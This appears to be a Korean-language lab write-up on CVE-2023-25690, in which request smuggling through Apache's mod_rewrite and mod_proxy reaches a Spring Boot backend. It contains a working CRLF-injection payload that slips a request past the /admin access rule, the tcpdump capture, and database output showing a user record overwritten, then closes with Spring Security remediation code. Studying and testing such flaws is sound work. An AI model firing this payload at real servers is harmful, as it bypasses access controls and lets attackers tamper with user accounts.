사용자 ──► Apache :80 (프록시) ──► Spring Boot :8080 (백엔드) ──► SQLite
            │
            ├─ mod_rewrite + mod_proxy
            ├─ CVE-2023-25690: CRLF 비정제
            ├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
            ├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
            └─ ACL: <Location "/admin"> 차단됨

POST /public/register: 데이터베이스에 사용자 등록 허용
POST /public/login: 입력된 자격 증명 검증을 통한 로그인 허용 및 세션 토큰 발급
GET /public/dashboard: 사용자 전용 영역
GET /api/status: "name" 매개변수 수락, 서비스 상태 확인용 예시 엔드포인트
GET /public/logout

POST /admin/edit/{id}/{newName}/{newPass}: 이론상 공개적으로 접근 불가능한 경로로, 관리자가 사용자 데이터를 수정할 수 있게 해줌

$ curl -I http://localhost/service/

HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42

curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'

>> ... HTTP/1.1 200 ... 'x' 서비스가 정상적으로 운영 중입니다.

docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080

GET /api/status?name=x HTTP/1.1
Host: spring-backend

prova: ok
trash_header:  HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive

RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]

A) GET /service/x                  → 정당한 부분; /service/ 이후의 모든 내용이
                                      $1(name 매개변수)로 들어감

B) %20HTTP/1.1                     → [분할 지점] 백엔드에서 URL을 조기에
                                      종료시키는 공백

C) %0d%0aHost:...%0d%0a%0d%0a     → [헤더 주입] 첫 번째 요청을 종료하는 CRLF

D) POST /admin/edit/1/HACKED/PWNED → [스머글드 요청] admin 엔드포인트로 향하는
                                      숨겨진 악성 요청

E) %20HTTP/1.1                     → 두 번째 요청의 HTTP 버전

F) %0d%0aContent-Length:%200       → POST를 위한 빈 본문
   %0d%0aConnection:%20close
   %0d%0aX-Header:%20              → [헤더 싱크] Apache가 자동으로 추가하는
                                      헤더를 흡수

GET /service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aPOST%20/admin/edit/1/HACKED/PWNED%20HTTP/1.1%0d%0aContent-Length:%200%0d%0aConnection:%20close%0d%0aX-Header:%20 HTTP/1.1
Host: localhost

GET /service/x%20HTTP/1.1%0d%0a... HTTP/1.1
Host: localhost

--- 요청 1 (정당하지만 "절단된") ---
GET /api/status?name=x HTTP/1.1
Host: spring-backend

--- 요청 2 (스머글드) ---
POST /admin/edit/1/HACKED/PWNED HTTP/1.1
Content-Length: 0
Connection: close
X-Header:

>> ... HTTP/1.1 200 ... 'x' 서비스가 정상적으로 운영 중입니다.

$ docker exec apache_vuln-spring-backend-1 sqlite3 /app/users.db "SELECT * FROM user;"

1|HACKED|PWNED

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-security</artifactId>
</dependency>

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/public/**").permitAll()
                .requestMatchers("/api/**").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .httpBasic(Customizer.withDefaults())
            .sessionManagement(session -> session
                .sessionCreationPolicy(SessionCreationPolicy.IF_REQUIRED));
        return http.build();
    }
}

@PostMapping("/admin/edit/{id}/{newName}/{newPass}")
public String adminEdit(
        @PathVariable Long id,
        @PathVariable @NotBlank String newName,
        @PathVariable @NotBlank String newPass,
        HttpSession session) {

    // 사용자에게 ADMIN 역할이 있는지 확인
    User loggedUser = (User) session.getAttribute("LOGGED_USER");
    if (loggedUser == null || !loggedUser.hasAdminRole()) {
        return "접근 거부";
    }
    // ... 인증 확인 후에만 작업 허용
}